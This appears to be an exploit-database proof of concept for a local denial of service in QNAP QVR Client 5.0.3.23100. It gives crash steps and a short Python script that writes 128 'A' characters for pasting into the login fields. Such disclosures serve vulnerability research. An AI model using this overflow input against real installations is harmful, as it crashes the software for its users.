QNap QVR Client 5.0.3.23100 - Denial of Service (PoC)

# Exploit Title : QNap QVR Client 5.0.3.23100 - Denial of Service (PoC)
# Discovery by  : Rodrigo Eduardo Rodriguez
# Discovery Date    : 2018-08-06
# Vendor Homepage: http://www.qnapsecurity.com/n/en/
# Software Link : http://download.qnap.com/Surveillance/Utility/QNewMon5.zip
# Tested Version    : 5.0.3.23100
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS  : Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python generatepaste.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open QVR Client
# 4.- Direccion IP/Puerto -> 0.0.0.0 / 80
# 5.- Paste ClipBoard on "Nombre de Usuario" and "contraseña"
# 6.- Aceptar
# 7.- Crashed

#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 128
f = open ("generate.txt", "w")
f.write(buffer)
f.close()